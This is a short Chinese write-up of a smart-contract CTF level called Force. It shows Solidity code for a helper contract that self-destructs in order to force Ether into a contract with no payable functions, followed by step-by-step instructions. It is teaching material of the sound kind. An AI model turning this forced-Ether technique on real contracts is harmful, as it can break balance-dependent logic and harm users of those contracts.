Force

Reference

Force

Force.sol

SeleDestruct

目标

  1. 让Force合约大于0

分析

  1. 合约作为空合约
    1. 没有payable修饰的constructor构造函数,无法在合约部署过程中发送余额
    2. 合约没有receive()/payable修饰的fallback()函数,无法正常接收余额
  2. 强制销毁当前合约并强制转账当前合约余额的字节码:selfdestruct
selfdestruct(_addr); // 销毁当前合约并将当前合约余额发送到提供的地址

销毁合约

contract destroyRobot {
    constructor() payable {}

    function killself(Force force) public {
        selfdestruct(payable(address(force)));
    }

    receive() external payable {}
}
  1. 允许在合约部署过程以及征程接收Ether
  2. 定义killself函数,实现自毁并强制转移资产

实现步骤

  1. 、编译部署Force合约,部署 destroyRobot合约
  2. Force 合约 余额为0
  3. destroyRobot余额为0。
  4. 转账任意Ether到destroyRobot合约,destroyRobot余额不为0
  5. 执行 destroyRobot合约的killself()函数注册销毁,并将余额全部转到 Force合约
  6. Force合约强制接收 destroyRobot的余额